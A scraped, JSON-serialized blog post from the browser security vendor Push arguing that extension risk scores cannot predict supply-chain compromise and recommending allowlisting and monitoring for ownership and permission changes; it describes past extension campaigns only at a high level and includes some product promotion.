extensions that looked risky beforehand.",{"data":45662,"marks":45663,"value":45664,"nodeType":865},{},[]," If your strategy is \"identify and remove the highest-risk extensions,\" you're optimizing for the wrong thing — because even extensions that score as moderate or low risk by every conventional measure still have the permissions and access needed for a full compromise. ",{"data":45666,"marks":45667,"value":45669,"nodeType":865},{},[45668],{"type":926},"If you skim off the top 10% “riskiest” extensions, 90% of the extensions in your environment could still become a breach vector. ",{"data":45671,"content":45672,"nodeType":972},{},[],{"data":45674,"content":45675,"nodeType":981},{},[45676],{"data":45677,"marks":45678,"value":45680,"nodeType":865},{},[45679],{"type":926},"What risk scoring is designed to measure — and why it can’t predict future compromise",{"data":45682,"content":45683,"nodeType":866},{},[45684],{"data":45685,"marks":45686,"value":45687,"nodeType":865},{},[],"Most extension risk scoring systems evaluate some combination of permissions, install count, user ratings, code analysis, developer reputation, and web store trust signals. Nice-to-have data points, but with a common limitation: they describe the extension as it is today, not what it will become after the next update. That makes them poor predictors of the thing that actually causes breaches — a previously-clean extension being weaponized through a supply chain compromise.",{"data":45689,"content":45690,"nodeType":866},{},[45691],{"data":45692,"marks":45693,"value":45694,"nodeType":865},{},[],"It's worth examining why each signal falls short as a predictor specifically of future compromise, because the failure modes are different and well-documented.",{"data":45696,"content":45697,"nodeType":1317},{},[45698],{"data":45699,"marks":45700,"value":45701,"nodeType":865},{},[],"Permissions",{"data":45703,"content":45704,"nodeType":866},{},[45705,45709,45714],{"data":45706,"marks":45707,"value":45708,"nodeType":865},{},[],"Permissions are the most meaningful input to a risk score, because they determine what an extension is ",{"data":45710,"marks":45711,"value":45713,"nodeType":865},{},[45712],{"type":898},"capable",{"data":45715,"marks":45716,"value":45717,"nodeType":865},{},[]," of doing if it turns malicious. An extension with access to cookies, scripting, and broad host permissions can steal session tokens, log keystrokes, and exfiltrate data from any site the user visits. This is the data that actually answers the question \"what could this extension do to us if it went bad?\"",{"data":45719,"content":45720,"nodeType":866},{},[45721,45725,45729],{"data":45722,"marks":45723,"value":45724,"nodeType":865},{},[],"The problem is that these permissions are extraordinarily common. We analyzed a sample of 20,000 unique extensions deployed across Push customers and found that ",{"data":45726,"marks":45727,"value":3735,"nodeType":865},{},[45728],{"type":926},{"data":45730,"marks":45731,"value":14251,"nodeType":865},{},[],{"data":45733,"content":45734,"nodeType":866},{},[45735],{"data":45736,"marks":45737,"value":45738,"nodeType":865},{},[],"These figures also understate the real exposure. One of the most straightforward attack techniques involves injecting content scripts into web pages to hook request functions and extract cookies. The user-facing warning Chrome shows for this capability — \"Read and change all your data on the websites you visit\" — is the same generic string shown for ad blockers, password managers, and translation tools. ",{"data":45740,"content":45741,"nodeType":866},{},[45742,45746,45751],{"data":45743,"marks":45744,"value":45745,"nodeType":865},{},[],"You can't practically remove everything that ",{"data":45747,"marks":45748,"value":45750,"nodeType":865},{},[45749],{"type":898},"could",{"data":45752,"marks":45753,"value":45754,"nodeType":865},{},[]," be dangerous, because that includes most of the extensions people actually use for work. And if you set the threshold lower to keep the list manageable, you're excluding extensions that have the same permissions and pose the same theoretical risk.",{"data":45756,"content":45757,"nodeType":1317},{},[45758],{"data":45759,"marks":45760,"value":45761,"nodeType":865},{},[],"Install counts, ratings, developer reputation, and web store badges",{"data":45763,"content":45764,"nodeType":866},{},[45765,45769,45774],{"data":45766,"marks":45767,"value":45768,"nodeType":865},{},[],"These signals share a common failure mode, so it's worth addressing them together: they all describe the extension's ",{"data":45770,"marks":45771,"value":45773,"nodeType":865},{},[45772],{"type":898},"reputation",{"data":45775,"marks":45776,"value":45777,"nodeType":865},{},[]," at a point in time, and attackers have both the means and the incentive to ensure that reputation looks clean.",{"data":45779,"content":45780,"nodeType":866},{},[45781,45786,45790,45795],{"data":45782,"marks":45783,"value":45785,"nodeType":865},{},[45784],{"type":926},"Install count ",{"data":45787,"marks":45788,"value":45789,"nodeType":865},{},[],"is sometimes used as a proxy for trustworthiness, on the assumption that widely-adopted extensions are more likely to be legitimate. In practice, high install count is often a ",{"data":45791,"marks":45792,"value":45794,"nodeType":865},{},[45793],{"type":898},"precondition",{"data":45796,"marks":45797,"value":45798,"nodeType":865},{},[]," for the attack rather than a signal against it. ",{"data":45800,"content":45801,"nodeType":866},{},[45802,45806,45815],{"data":45803,"marks":45804,"value":45805,"nodeType":865},{},[],"Attackers who acquire or build extensions are specifically waiting for the install base to grow before weaponizing — what researchers are calling the \"",{"data":45807,"content":45809,"nodeType":889},{"uri":45808},"https://www.malwarebytes.com/blog/news/2025/12/sleeper-browser-extensions-woke-up-as-spyware-on-4-million-devices",[45810],{"data":45811,"marks":45812,"value":45814,"nodeType":865},{},[45813],{"type":943},"sleeper agent",{"data":45816,"marks":45817,"value":45818,"nodeType":865},{},[],"\" strategy. Install counts can also be easily inflated with bots, meaning that using them as a positive risk signal actively rewards the attackers who are best at gaming the system.",{"data":45820,"content":45821,"nodeType":1616},{},[45822,45843,45865],{"data":45823,"content":45824,"nodeType":1570},{},[45825],{"data":45826,"content":45827,"nodeType":866},{},[45828,45831,45839],{"data":45829,"marks":45830,"value":1449,"nodeType":865},{},[],{"data":45832,"content":45833,"nodeType":889},{"uri":3691},[45834],{"data":45835,"marks":45836,"value":45838,"nodeType":865},{},[45837],{"type":943},"DarkSpectre campaign",{"data":45840,"marks":45841,"value":45842,"nodeType":865},{},[]," accumulated over 8.8 million compromised browsers across extensions that held \"verified\" status and healthy install counts throughout a seven-year operational period. ",{"data":45844,"content":45845,"nodeType":1570},{},[45846],{"data":45847,"content":45848,"nodeType":866},{},[45849,45852,45861],{"data":45850,"marks":45851,"value":1449,"nodeType":865},{},[],{"data":45853,"content":45855,"nodeType":889},{"uri":45854},"https://www.ox.security/blog/malicious-chrome-extensions-steal-chatgpt-deepseek-conversations/",[45856],{"data":45857,"marks":45858,"value":45860,"nodeType":865},{},[45859],{"type":943},"AITOPIA",{"data":45862,"marks":45863,"value":45864,"nodeType":865},{},[]," impersonation extensions had over 900,000 combined installs and a Google \"Featured\" badge. ",{"data":45866,"content":45867,"nodeType":1570},{},[45868],{"data":45869,"content":45870,"nodeType":866},{},[45871],{"data":45872,"marks":45873,"value":45874,"nodeType":865},{},[],"Cyberhaven had approximately 400,000 users at the time of compromise. ",{"data":45876,"content":45877,"nodeType":866},{},[45878,45883],{"data":45879,"marks":45880,"value":45882,"nodeType":865},{},[45881],{"type":926},"User ratings",{"data":45884,"marks":45885,"value":45886,"nodeType":865},{},[]," suffer from the same problems. Attackers use bot networks to generate positive reviews, and even genuinely clean extensions will carry good ratings right up until they're compromised. By the time users start leaving negative reviews the attack has already run its course.",{"data":45888,"content":45889,"nodeType":866},{},[45890,45895,45898,45903],{"data":45891,"marks":45892,"value":45894,"nodeType":865},{},[45893],{"type":926},"Developer reputation and \"Featured\" and \"Verified\"",{"data":45896,"marks":45897,"value":2688,"nodeType":865},{},[],{"data":45899,"marks":45900,"value":45902,"nodeType":865},{},[45901],{"type":926},"badges",{"data":45904,"marks":45905,"value":45906,"nodeType":865},{},[]," fail for a related but slightly different reason: the attack typically doesn't come from a known-bad developer. It comes from a reputable developer whose account has been compromised, or from an extension that has changed hands. ",{"data":45908,"content":45912,"nodeType":912},{"target":45909},{"sys":45910},{"id":45911,"type":909,"linkType":910},"d1C5wKxUnKFwfhf4OBQAq",[],{"data":45914,"content":45915,"nodeType":866},{},[45916],{"data":45917,"marks":45918,"value":45919,"nodeType":865},{},[],"The net result across all of these signals is that the extensions most likely to appear in breach headlines — established tools with large user bases, good ratings, verified badges, and reputable developers — are precisely the ones that risk scoring would rate as low-risk.",{"data":45921,"content":45922,"nodeType":1317},{},[45923],{"data":45924,"marks":45925,"value":45926,"nodeType":865},{},[],"Code analysis",{"data":45928,"content":45929,"nodeType":866},{},[45930],{"data":45931,"marks":45932,"value":45933,"nodeType":865},{},[],"Static analysis of extension code is the approach that sounds most rigorous, and it's the basis for Chrome Web Store's own review process. Google operates a hybrid system combining automated analysis and manual review, with manual review typically reserved for submissions that trigger specific signals such as sensitive permissions or large code volumes.",{"data":45935,"content":45936,"nodeType":866},{},[45937],{"data":45938,"marks":45939,"value":45940,"nodeType":865},{},[],"But attackers have developed reliable techniques to pass these checks, and the specific evasion methods used in major campaigns illustrate why static analysis consistently falls short. ",{"data":45942,"content":45943,"nodeType":1616},{},[45944,45954],{"data":45945,"content":45946,"nodeType":1570},{},[45947],{"data":45948,"content":45949,"nodeType":866},{},[45950],{"data":45951,"marks":45952,"value":45953,"nodeType":865},{},[],"The Cyberhaven compromise used dynamically loaded content fetched from a remote server via service workers, with the C2 infrastructure delivering different malicious configurations to different end-users — meaning that even if a scanner fetched the remote payload, it might receive a benign configuration depending on the target profile.",{"data":45955,"content":45956,"nodeType":1570},{},[45957],{"data":45958,"content":45959,"nodeType":866},{},[45960],{"data":45961,"marks":45962,"value":45963,"nodeType":865},{},[],"The GhostPoster campaign (part of the broader DarkSpectre operation) took evasion further still: the extension waited 48 hours between configuration check-ins and only loaded a malicious payload 10% of the time. No sandbox is running for 48 hours, and a 10% activation rate means that nine out of ten analysis runs would see nothing at all.",{"data":45965,"content":45969,"nodeType":912},{"target":45966},{"sys":45967},{"id":45968,"type":909,"linkType":910},"6jy6jvYcHTXO2uMd7kx647",[],{"data":45971,"content":45972,"nodeType":866},{},[45973],{"data":45974,"marks":45975,"value":45976,"nodeType":865},{},[],"It's also worth noting that Chrome Web Store policy explicitly disallows code obfuscation, precisely because it makes review impossible. The fact that attackers have found ways to hide malicious behavior without technically obfuscating their code speaks to the fundamental asymmetry at play: the attacker controls when and how malicious functionality appears, and static analysis can only evaluate what's present at the time of review.",{"data":45978,"content":45979,"nodeType":1317},{},[45980],{"data":45981,"marks":45982,"value":45983,"nodeType":865},{},[],"But extension scores combine all of these things …",{"data":45985,"content":45986,"nodeType":866},{},[45987],{"data":45988,"marks":45989,"value":45990,"nodeType":865},{},[],"The obvious counterargument is that no serious risk scoring system relies on any single signal in isolation — the value is supposed to come from combining permissions, install count, ratings, code analysis, and developer reputation into a composite score that's more predictive than any individual input. In theory, this sounds like the right approach: weak signals aggregated together should produce a stronger signal.",{"data":45992,"content":45993,"nodeType":866},{},[45994,45999],{"data":45995,"marks":45996,"value":45998,"nodeType":865},{},[45997],{"type":926},"In practice, combining signals that are individually unable to predict supply chain compromise doesn't produce a signal that can. ",{"data":46000,"marks":46001,"value":46002,"nodeType":865},{},[],"Aggregating a set of backward-looking indicators doesn't make the aggregate forward-looking; it just gives you a more detailed description of the present state, which is the state before the attack has happened. No weighting or combination of install count, code behavior, and developer reputation would have flagged Cyberhaven, or DarkSpectre, or Trust Wallet before the malicious update shipped, because at that point every input to the composite score was returning a legitimate value.",{"data":46004,"content":46005,"nodeType":866},{},[46006,46010,46015,46019,46024],{"data":46007,"marks":46008,"value":46009,"nodeType":865},{},[],"Meanwhile, the indicators that ",{"data":46011,"marks":46012,"value":46014,"nodeType":865},{},[46013],{"type":898},"do",{"data":46016,"marks":46017,"value":46018,"nodeType":865},{},[]," predict real-world compromise — an extension changing ownership, a developer account being phished, an update introducing behavior that wasn't present in prior versions, or an extension being explicitly confirmed as malicious through threat intelligence — aren't predictive risk score inputs. ",{"data":46020,"marks":46021,"value":46023,"nodeType":865},{},[46022],{"type":926},"They're discrete events that require monitoring and an immediate response, not a recalculated number on a dashboard. ",{"data":46025,"marks":46026,"value":46027,"nodeType":865},{},[],"This is an important distinction: the signals that matter are changes over time, not static attributes at a point in time, and they call for a detection-and-response workflow rather than a periodic risk review.",{"data":46029,"content":46030,"nodeType":972},{},[],{"data":46032,"content":46033,"nodeType":981},{},[46034],{"data":46035,"marks":46036,"value":46038,"nodeType":865},{},[46037],{"type":926},"What works instead",{"data":46040,"content":46041,"nodeType":866},{},[46042],{"data":46043,"marks":46044,"value":46045,"nodeType":865},{},[],"If the goal is to reduce your exposure to extension-based supply chain compromise rather than to generate a ranked list of risk, the approach is operationally straightforward — even if it requires more discipline than deploying a scoring dashboard.",{"data":46047,"content":46048,"nodeType":1317},{},[46049],{"data":46050,"marks":46051,"value":46052,"nodeType":865},{},[],"Reduce your attack surface through allowlisting",{"data":46054,"content":46055,"nodeType":866},{},[46056],{"data":46057,"marks":46058,"value":46059,"nodeType":865},{},[],"Build a complete inventory of every extension running across your environment — what's installed, how it got there (managed deployment, manual install, sideloaded, developer mode), what permissions it has, who's using it, and whether it serves a legitimate work purpose. Then create a strict allowlist of vetted and approved extensions and block everything else.",{"data":46061,"content":46062,"nodeType":866},{},[46063,46067,46075],{"data":46064,"marks":46065,"value":46066,"nodeType":865},{},[],"This is the same default-deny approach that's been best practice for firewall policy and endpoint allowlisting for decades. ",{"data":46068,"content":46069,"nodeType":889},{"uri":8268},[46070],{"data":46071,"marks":46072,"value":46074,"nodeType":865},{},[46073],{"type":943},"In Push, it works like building a firewall rule",{"data":46076,"marks":46077,"value":46078,"nodeType":865},{},[],": a global block rule at the bottom that disables all browser extensions, with explicit exceptions above it for approved tools. Users who attempt to install unapproved extensions see a block screen.",{"data":46080,"content":46084,"nodeType":912},{"target":46081},{"sys":46082},{"id":46083,"type":909,"linkType":910},"97dDukjKsRsAptpHV1kpn",[],{"data":46086,"content":46087,"nodeType":866},{},[46088,46093,46099,46104],{"data":46089,"marks":46090,"value":46092,"nodeType":865},{},[46091],{"type":926},"The key insight is that every extension you don't ",{"data":46094,"marks":46095,"value":46098,"nodeType":865},{},[46096,46097],{"type":926},{"type":898},"really ",{"data":46100,"marks":46101,"value":46103,"nodeType":865},{},[46102],{"type":926},"need, but haven't blocked, is attack surface that exists for no business reason. ",{"data":46105,"marks":46106,"value":46107,"nodeType":865},{},[],"Most organizations are surprised by how many of the extensions in their environment are unused, forgotten, or have readily available alternatives. Reducing the population of installed extensions to only the ones that serve a genuine work purpose is the single most effective thing you can do — and it doesn't require a risk score to accomplish.",{"data":46109,"content":46110,"nodeType":1317},{},[46111],{"data":46112,"marks":46113,"value":46114,"nodeType":865},{},[],"Monitor for changes that indicate weaponization",{"data":46116,"content":46117,"nodeType":866},{},[46118],{"data":46119,"marks":46120,"value":46121,"nodeType":865},{},[],"Once you have a controlled baseline, the risk shifts from unmanaged installations (those are blocked) to changes in the extensions you've already approved. These are the signals that map to real-world attack patterns and serve as leading indicators of weaponization:",{"data":46123,"content":46124,"nodeType":1616},{},[46125,46169,46184,46199,46214],{"data":46126,"content":46127,"nodeType":1570},{},[46128],{"data":46129,"content":46130,"nodeType":866},{},[46131,46136,46140,46149,46154,46158,46166],{"data":46132,"marks":46133,"value":46135,"nodeType":865},{},[46134],{"type":926},"Ownership changes",{"data":46137,"marks":46138,"value":46139,"nodeType":865},{},[]," — an extension changing hands is one of the most reliable precursors to supply chain compromise, as demonstrated by the ",{"data":46141,"content":46143,"nodeType":889},{"uri":46142},"https://thehackernews.com/2026/03/chrome-extension-turns-malicious-after.html",[46144],{"data":46145,"marks":46146,"value":46148,"nodeType":865},{},[46147],{"type":943},"QuickLens and ShotBird attack",{"data":46150,"marks":46151,"value":46153,"nodeType":865},{},[46152],{"type":943},"s",{"data":46155,"marks":46156,"value":46157,"nodeType":865},{},[]," and the acquired-extension clusters documented by ",{"data":46159,"content":46160,"nodeType":889},{"uri":45639},[46161],{"data":46162,"marks":46163,"value":46165,"nodeType":865},{},[46164],{"type":943},"GitLab",{"data":46167,"marks":46168,"value":1615,"nodeType":865},{},[],{"data":46170,"content":46171,"nodeType":1570},{},[46172],{"data":46173,"content":46174,"nodeType":866},{},[46175,46180],{"data":46176,"marks":46177,"value":46179,"nodeType":865},{},[46178],{"type":926},"Developer contact information changes",{"data":46181,"marks":46182,"value":46183,"nodeType":865},{},[]," — often an early indicator that an extension has been sold or that a developer account has been taken over.",{"data":46185,"content":46186,"nodeType":1570},{},[46187],{"data":46188,"content":46189,"nodeType":866},{},[46190,46195],{"data":46191,"marks":46192,"value":46194,"nodeType":865},{},[46193],{"type":926},"Permission escalations in updates",{"data":46196,"marks":46197,"value":46198,"nodeType":865},{},[]," — a previously-scoped extension suddenly requesting broad host permissions or cookie access.",{"data":46200,"content":46201,"nodeType":1570},{},[46202],{"data":46203,"content":46204,"nodeType":866},{},[46205,46210],{"data":46206,"marks":46207,"value":46209,"nodeType":865},{},[46208],{"type":926},"Delisting from the web store",{"data":46211,"marks":46212,"value":46213,"nodeType":865},{},[]," — can indicate that the store's review process has caught something, or that the developer has abandoned the extension.",{"data":46215,"content":46216,"nodeType":1570},{},[46217],{"data":46218,"content":46219,"nodeType":866},{},[46220,46225,46229,46237,46242],{"data":46221,"marks":46222,"value":46224,"nodeType":865},{},[46223],{"type":926},"Known malicious classification",{"data":46226,"marks":46227,"value":46228,"nodeType":865},{},[]," — when an extension is confirmed as weaponized or linked to an active campaign through threat intelligence. (",{"data":46230,"content":46231,"nodeType":889},{"uri":8268},[46232],{"data":46233,"marks":46234,"value":46236,"nodeType":865},{},[46235],{"type":943},"Push blocks known-bad extensions automaticall",{"data":46238,"marks":46239,"value":46241,"nodeType":865},{},[46240],{"type":943},"y",{"data":46243,"marks":46244,"value":46245,"nodeType":865},{},[],").",{"data":46247,"content":46251,"nodeType":912},{"target":46248},{"sys":46249},{"id":46250,"type":909,"linkType":910},"4PWyOD92E549plkeNH1DxO",[],{"data":46253,"content":46254,"nodeType":866},{},[46255],{"data":46256,"marks":46257,"value":46258,"nodeType":865},{},[],"To make this concrete: Push emits structured events via webhook whenever extension metadata changes that captures all of the variables above. These these can be fed directly into your SIEM or SOAR workflows, making it easy for security teams to detect when a meaningful change occurs. An ownership change on its own warrants investigation; an ownership change paired with a new version and added permissions warrants an immediate block pending review.",{"data":46260,"content":46261,"nodeType":866},{},[46262],{"data":46263,"marks":46264,"value":46265,"nodeType":865},{},[],"Push detects these changes in real time and can automatically block an extension when a meaningful risk indicator fires, before the damage propagates. This is fundamentally different from a periodic risk score: rather than attempting to predict which extensions might go bad based on static attributes, Push monitors for the specific events that precede or accompany weaponization in the attacks we've actually observed.",{"data":46267,"content":46268,"nodeType":972},{},[],{"data":46270,"content":46271,"nodeType":981},{},[46272],{"data":46273,"marks":46274,"value":46276,"nodeType":865},{},[46275],{"type":926},"The bottom line",{"data":46278,"content":46279,"nodeType":866},{},[46280],{"data":46281,"marks":46282,"value":46283,"nodeType":865},{},[],"Traditional extension risk scores — based on permissions, store metadata, code analysis, and developer reputation — are poor predictors of which extensions will actually compromise you. The extensions involved in the major breaches of the past 18 months consistently scored as normal or low-risk right up until the moment they were weaponized. If your extension management strategy is built around \"identify the riskiest extensions and remove them,\" the extension that gets you is the one that wasn't on the list.",{"data":46285,"content":46286,"nodeType":866},{},[46287,46291,46299],{"data":46288,"marks":46289,"value":46290,"nodeType":865},{},[],"Browser extensions are software. They're third-party code running with significant privilege inside the browser, capable of reading and modifying page content, accessing cookies and session tokens, and interacting with virtually every web application your employees use. Like any other software dependency — ",{"data":46292,"content":46293,"nodeType":889},{"uri":3841},[46294],{"data":46295,"marks":46296,"value":46298,"nodeType":865},{},[46297],{"type":943},"OAuth integrations",{"data":46300,"marks":46301,"value":46302,"nodeType":865},{},[]," being another relevant recent example in public breaches — each one expands your attack surface. ",{"data":46304,"content":46305,"nodeType":866},{},[46306],{"data":46307,"marks":46308,"value":46309,"nodeType":865},{},[],"The principles behind managing browser extensions need to be the same as any other software — default-deny, build an allowlist, monitor and maintain that allowlist. This might trigger some PTSD for security teams, but it shouldn’t. On the endpoint, application allowlisting has always been operationally painful — diverse workflows, unpredictable application needs, and the overhead of vetting every binary made it impractical for most organizations outside of high-security environments. In the browser, it’s not that serious. You’re not going to brick an endpoint by blocking a third-party browser extension. ",{"data":46311,"content":46312,"nodeType":866},{},[46313],{"data":46314,"marks":46315,"value":46317,"nodeType":865},{},[46316],{"type":926},"The browser is one of the few environments where an allowlisting approach is both technically feasible and operationally lightweight: use it to your advantage. ",{"data":46319,"content":46320,"nodeType":972},{},[],{"data":46322,"content":46323,"nodeType":866},{},[46324,46328,46336],{"data":46325,"marks":46326,"value":46327,"nodeType":865},{},[],"Push detects and blocks malicious browser extensions, and gives security teams the controls to ",{"data":46329,"content":46330,"nodeType":889},{"uri":8268},[46331],{"data":46332,"marks":46333,"value":46335,"nodeType":865},{},[46334],{"type":943},"enforce an extension allowlist and monitor for risky changes",{"data":46337,"marks":46338,"value":46339,"nodeType":865},{},[]," across every browser in the environment. Combined with protection against AiTM phishing, ClickFix attacks, session hijacking, and stolen credentials — plus proactive hardening for ghost logins, SSO coverage gaps, MFA gaps, and vulnerable passwords — Push provides browser-native visibility and control where it matters most.",{"data":46341,"content":46342,"nodeType":866},{},[46343,46346,46352,46355,46361,46364,46370],{"data":46344,"marks":46345,"value":11372,"nodeType":865},{},[],{"data":46347,"content":46348,"nodeType":889},{"uri":11375},[46349],{"data":46350,"marks":46351,"value":11381,"nodeType":865},{},[],{"data":46353,"marks":46354,"value":2717,"nodeType":865},{},[],{"data":46356,"content":46357,"nodeType":889},{"uri":11387},[46358],{"data":46359,"marks":46360,"value":11393,"nodeType":865},{},[],{"data":46362,"marks":46363,"value":11397,"nodeType":865},{},[],{"data":46365,"content":46366,"nodeType":889},{"uri":1372},[46367],{"data":46368,"marks":46369,"value":11405,"nodeType":865},{},[],{"data":46371,"marks":46372,"value":1615,"nodeType":865},{},[],"Why relying on browser extension risk scoring is an antipattern that won’t predict your next breach","Why typical browser extension risk scores are poor predictors of which extensions will actually lead to a compromise.","2026-04-29T00:00:00.000Z","why-browser-extension-risk-scoring-wont-predict-your-next-breach",{"items":46378},[46379,46381],{"sys":46380,"name":342},{"id":4642},{"sys":46382,"name":7796},{"id":7795},{"items":46384},[46385],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":46386},{"url":7804},"blog/analyzing-the-instructure-breach",{"json":46389},{"data":46390,"content":46391,"nodeType":1382},{},[46392],{"data":46393,"content":46394,"nodeType":866},{},[46395],{"data":46396,"marks":46397,"value":46398,"nodeType":865},{},[],"ShinyHunters' 2025 hacking spree has continued at pace in 2026. In this blog post, we break down their main techniques and what security teams can do to counter the threat.",{"id":15406,"publishedAt":46400},"2026-08-12T12:01:00.410Z",{"items":46402},[46403,46405],{"sys":46404,"name":7796},{"id":7795},{"sys":46406,"name":342},{"id":4642},{"items":46408},[46409,46411,46413,46415,46417,46419,46421,46423,46425,46427,46429,46431,46433,46435,46437,46439,46441],{"sys":46410,"name":279,"slug":280,"tier":31},{"id":276},{"sys":46412,"name":413,"slug":414,"tier":31},{"id":410},{"sys":46414,"name":545,"slug":546,"tier":31},{"id":542},{"sys":46416,"name":519,"slug":520,"tier":31},{"id":516},{"sys":46418,"name":642,"slug":643,"tier":31},{"id":639},{"sys":46420,"name":616,"slug":617,"tier":31},{"id":613},{"sys":46422,"name":650,"slug":651,"tier":45},{"id":647},{"sys":46424,"name":261,"slug":262,"tier":45},{"id":258},{"sys":46426,"name":360,"slug":361,"tier":45},{"id":357},{"sys":46428,"name":484,"slug":485,"tier":45},{"id":481},{"sys":46430,"name":528,"slug":529,"tier":45},{"id":525},{"sys":46432,"name":422,"slug":423,"tier":45},{"id":419},{"sys":46434,"name":333,"slug":334,"tier":45},{"id":330},{"sys":46436,"name":511,"slug":512,"tier":45},{"id":508},{"sys":46438,"name":607,"slug":608,"tier":45},{"id":604},{"sys":46440,"name":571,"slug":572,"tier":45},{"id":568},{"sys":46442,"name":633,"slug":634,"tier":45},{"id":630},"q9ktZNEnjjJ4_6n87yiRtMpJvFaran6mMq5hhAKk8U0",{"id":46445,"title":13335,"authorsCollection":46446,"content":46451,"extension":228,"faqItemsCollection":47183,"faqTitle":59,"featured":19,"hashTags":59,"meta":47185,"metaTitle":47186,"ogImage":59,"postType":1424,"publishedDate":13337,"relatedBlogPostsCollection":47187,"slug":13338,"stem":50389,"subtitle":59,"summary":50390,"synopsis":13336,"sys":50401,"tagsCollection":50403,"topicsCollection":50409,"__hash__":50443},"blog/blog/introducing-the-browser-and-identity-attacks-matrix.json",{"items":46447},[46448],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":46449,"profilePicture":46450},[30152],{"url":7804},{"json":46452,"links":47160},{"data":46453,"content":46454,"nodeType":1382},{},[46455,46470,46485,46500,46505,46508,46515,46521,46527,46533,46539,46546,46549,46556,46562,46568,46574,46579,46586,46601,46607,46613,46626,46633,46657,46670,46676,46700,46707,46731,46737,46744,46759,46765,46771,46776,46782,46789,46804,46810,46826,46832,46835,46842,46848,46923,46929,46942,46945,46970,46985,46991,46997,47000,47007,47022,47028,47034,47049,47052,47059,47065,47095,47101,47116,47131,47136,47139,47145],{"data":46456,"content":46457,"nodeType":866},{},[46458,46461,46467],{"data":46459,"marks":46460,"value":12520,"nodeType":865},{},[],{"data":46462,"content":46463,"nodeType":889},{"uri":12523},[46464],{"data":46465,"marks":46466,"value":12528,"nodeType":865},{},[],{"data":46468,"marks":46469,"value":12532,"nodeType":865},{},[],{"data":46471,"content":46472,"nodeType":866},{},[46473,46476,46482],{"data":46474,"marks":46475,"value":12539,"nodeType":865},{},[],{"data":46477,"content":46478,"nodeType":889},{"uri":12542},[46479],{"data":46480,"marks":46481,"value":12547,"nodeType":865},{},[],{"data":46483,"marks":46484,"value":12551,"nodeType":865},{},[],{"data":46486,"content":46487,"nodeType":866},{},[46488,46491,46497],{"data":46489,"marks":46490,"value":12558,"nodeType":865},{},[],{"data":46492,"content":46493,"nodeType":889},{"uri":8393},[46494],{"data":46495,"marks":46496,"value":8396,"nodeType":865},{},[],{"data":46498,"marks":46499,"value":12568,"nodeType":865},{},[],{"data":46501,"content":46504,"nodeType":912},{"target":46502},{"sys":46503},{"id":12573,"type":909,"linkType":910},[],{"data":46506,"content":46507,"nodeType":972},{},[],{"data":46509,"content":46510,"nodeType":981},{},[46511],{"data":46512,"marks":46513,"value":12585,"nodeType":865},{},[46514],{"type":926},{"data":46516,"content":46517,"nodeType":866},{},[46518],{"data":46519,"marks":46520,"value":12592,"nodeType":865},{},[],{"data":46522,"content":46523,"nodeType":866},{},[46524],{"data":46525,"marks":46526,"value":12599,"nodeType":865},{},[],{"data":46528,"content":46529,"nodeType":866},{},[46530],{"data":46531,"marks":46532,"value":12606,"nodeType":865},{},[],{"data":46534,"content":46535,"nodeType":866},{},[46536],{"data":46537,"marks":46538,"value":12613,"nodeType":865},{},[],{"data":46540,"content":46541,"nodeType":866},{},[46542],{"data":46543,"marks":46544,"value":12621,"nodeType":865},{},[46545],{"type":926},{"data":46547,"content":46548,"nodeType":972},{},[],{"data":46550,"content":46551,"nodeType":981},{},[46552],{"data":46553,"marks":46554,"value":12632,"nodeType":865},{},[46555],{"type":926},{"data":46557,"content":46558,"nodeType":866},{},[46559],{"data":46560,"marks":46561,"value":12639,"nodeType":865},{},[],{"data":46563,"content":46564,"nodeType":866},{},[46565],{"data":46566,"marks":46567,"value":12646,"nodeType":865},{},[],{"data":46569,"content":46570,"nodeType":866},{},[46571],{"data":46572,"marks":46573,"value":12653,"nodeType":865},{},[],{"data":46575,"content":46578,"nodeType":912},{"target":46576},{"sys":46577},{"id":12658,"type":909,"linkType":910},[],{"data":46580,"content":46581,"nodeType":1317},{},[46582],{"data":46583,"marks":46584,"value":12667,"nodeType":865},{},[46585],{"type":926},{"data":46587,"content":46588,"nodeType":866},{},[46589,46592,46598],{"data":46590,"marks":46591,"value":12674,"nodeType":865},{},[],{"data":46593,"content":46594,"nodeType":889},{"uri":4813},[46595],{"data":46596,"marks":46597,"value":12681,"nodeType":865},{},[],{"data":46599,"marks":46600,"value":12685,"nodeType":865},{},[],{"data":46602,"content":46603,"nodeType":866},{},[46604],{"data":46605,"marks":46606,"value":12692,"nodeType":865},{},[],{"data":46608,"content":46609,"nodeType":866},{},[46610],{"data":46611,"marks":46612,"value":12699,"nodeType":865},{},[],{"data":46614,"content":46615,"nodeType":866},{},[46616,46619,46623],{"data":46617,"marks":46618,"value":12706,"nodeType":865},{},[],{"data":46620,"marks":46621,"value":12711,"nodeType":865},{},[46622],{"type":926},{"data":46624,"marks":46625,"value":12715,"nodeType":865},{},[],{"data":46627,"content":46628,"nodeType":1317},{},[46629],{"data":46630,"marks":46631,"value":12723,"nodeType":865},{},[46632],{"type":926},{"data":46634,"content":46635,"nodeType":866},{},[46636,46639,46645,46648,46654],{"data":46637,"marks":46638,"value":12730,"nodeType":865},{},[],{"data":46640,"content":46641,"nodeType":889},{"uri":6864},[46642],{"data":46643,"marks":46644,"value":12737,"nodeType":865},{},[],{"data":46646,"marks":46647,"value":12741,"nodeType":865},{},[],{"data":46649,"content":46650,"nodeType":889},{"uri":1929},[46651],{"data":46652,"marks":46653,"value":12748,"nodeType":865},{},[],{"data":46655,"marks":46656,"value":12752,"nodeType":865},{},[],{"data":46658,"content":46659,"nodeType":866},{},[46660,46663,46667],{"data":46661,"marks":46662,"value":12759,"nodeType":865},{},[],{"data":46664,"marks":46665,"value":12764,"nodeType":865},{},[46666],{"type":926},{"data":46668,"marks":46669,"value":12768,"nodeType":865},{},[],{"data":46671,"content":46672,"nodeType":866},{},[46673],{"data":46674,"marks":46675,"value":12775,"nodeType":865},{},[],{"data":46677,"content":46678,"nodeType":866},{},[46679,46682,46688,46691,46697],{"data":46680,"marks":46681,"value":12782,"nodeType":865},{},[],{"data":46683,"content":46684,"nodeType":889},{"uri":7712},[46685],{"data":46686,"marks":46687,"value":8158,"nodeType":865},{},[],{"data":46689,"marks":46690,"value":12792,"nodeType":865},{},[],{"data":46692,"content":46693,"nodeType":889},{"uri":7472},[46694],{"data":46695,"marks":46696,"value":7465,"nodeType":865},{},[],{"data":46698,"marks":46699,"value":12802,"nodeType":865},{},[],{"data":46701,"content":46702,"nodeType":1317},{},[46703],{"data":46704,"marks":46705,"value":12810,"nodeType":865},{},[46706],{"type":926},{"data":46708,"content"